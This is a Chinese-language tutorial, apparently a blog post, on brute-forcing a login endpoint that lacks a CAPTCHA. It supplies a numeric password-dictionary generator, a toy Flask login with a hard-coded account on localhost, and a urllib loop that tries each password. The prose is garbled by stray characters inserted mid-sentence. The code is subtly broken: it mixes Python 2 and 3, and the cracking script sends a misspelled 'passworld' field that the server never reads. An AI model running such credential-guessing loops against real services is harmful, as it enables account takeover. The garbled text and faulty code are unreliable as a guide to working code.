簡(jiǎn)介
- 任何東西都是雙面的迹炼,包括程序砸彬。(攻擊方與防御方,相當(dāng)于矛與盾)
-
密碼字典
所謂的密碼字典,主要是配合密碼破譯軟件所使用砂碉,密碼字典里包括許多人們習(xí)慣性設(shè)置的密碼蛀蜜,這樣可以提高密碼破譯軟件的密碼破譯成功率和命中率呀癣,縮短密碼破譯的時(shí)間豺旬,當(dāng)然怯邪,如果一個(gè)人密碼設(shè)置沒有規(guī)律或很復(fù)雜港柜,未包含在密碼字典里悬而,這個(gè)字典就沒有用了串稀,甚至?xí)娱L(zhǎng)密碼破譯所需要的時(shí)間
-
暴力破解(窮舉法)
窮舉法的基本思想是根據(jù)題目的部分條件確定答案的大致范圍峦朗,并在此范圍內(nèi)對(duì)所有可能的情況逐一驗(yàn)證份乒,直到全部情況驗(yàn)證完畢杀怠。若某個(gè)情況驗(yàn)證符合題目的全部條件椰憋,則為本問題的一個(gè)解;若全部情況驗(yàn)證后都不符合題目的全部條件赔退,則本題無解橙依。窮舉法也稱為枚舉法。
- 我們這里就是采用 密碼字典 來做例子硕旗。
文章能教會(huì)我們什么呢窗骑?
- 本文就是教大家如何使用 密碼字典 來破解一個(gè)沒有加驗(yàn)證碼的登錄接口。
第一步(生成密碼字典文件)
我這里使用的是 Python 來生成的漆枚。
先建立一個(gè) .text 的文件
cd xxx(文件夾路徑)
vi pass.textPython 中的 string 可以輸出所有的字符
import string
print(string.printable)
輸出為:0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
我們這里實(shí)驗(yàn)就使用 所有數(shù)字 組成的集合了创译。這里我們還用到了 itertools 如果想了解它 請(qǐng)點(diǎn)擊我
創(chuàng)建一個(gè) .py 文件 。把下列代碼 copy 進(jìn)去
import sys
import string
import itertools
def get_strings():
chars = string.printable[:10]
strings = []
for i in xrange(min, max + 1):
strings.append((itertools.product(chars, repeat=i),))
return itertools.chain(*strings)
def make_dict():
f = open(file, 'a')
for x in list_str:
for y in x:
f.write("".join(y))
f.write('\n')
f.close()
print()
'Done'
while True:
if len(sys.argv) == 4:
try:
min = int(sys.argv[1])
max = int(sys.argv[2])
except:
print()
"wrong"
sys.exit(0)
if min <= max:
list_str = get_strings()
file = sys.argv[3]
make_dict()
sys.exit(0)
-
然后通過下列代碼生成密碼字典
python xx.py 6(這個(gè)是最短長(zhǎng)度) 6(這個(gè)是最長(zhǎng)長(zhǎng)度) .text文件路徑(存儲(chǔ)路徑)
成功后如圖所示
第二步 (編寫登錄接口)
- 上一篇文章講過 如何編寫接口了墙基,不懂的可以再去看下软族。
- 我們?cè)谥暗幕A(chǔ)上加一步驗(yàn)證(這里就省略了和數(shù)據(jù)庫的交互了,而是直接寫一個(gè)硬編碼)
- 代碼如下
from flask import Flask
from flask import request
from flask import redirect
from flask import current_app
app = Flask(__name__)
@app.route('/user/login',methods=['GET'])
def start():
// flask 獲取 POST 參數(shù)
// print(request.form['yes'])
// print(request.form['hai'])
//flask獲取 GET 參數(shù)
username = request.args.get('username')
passworld = request.args.get('password')
if username == 'w123':
if passworld == '000456':
return 'ok'
else:
return 'error'
else:
return'error'
if __name__ == '__main__':
app.run()
可以看到上述代碼 賬戶名:w123 密碼 000456
邏輯 就是 賬戶密碼正確 輸出ok 反之error
第三步 (破解)
- 這里我們使用 Python 的 urllib 模塊來模擬 請(qǐng)求
- 具體代碼如下:
import urllib
import urllib.request
f=open("pass.text")
while 1:
pwd = f.readline().strip()
if not pwd:
print('字典已比對(duì)完残制。')
break
data = {}
data['passworld'] = pwd
data['username'] = 'w123'
url_parame = urllib.parse.urlencode(data)
url = "http://127.0.0.1:5000/user/login?"
all_url = url + url_parame
data = urllib.request.urlopen(all_url).read()
record = data.decode('UTF-8')
if record == 'ok':
print('破解出來了立砸,密碼為',pwd)
break
else:
print('error')
附上一張成功的圖片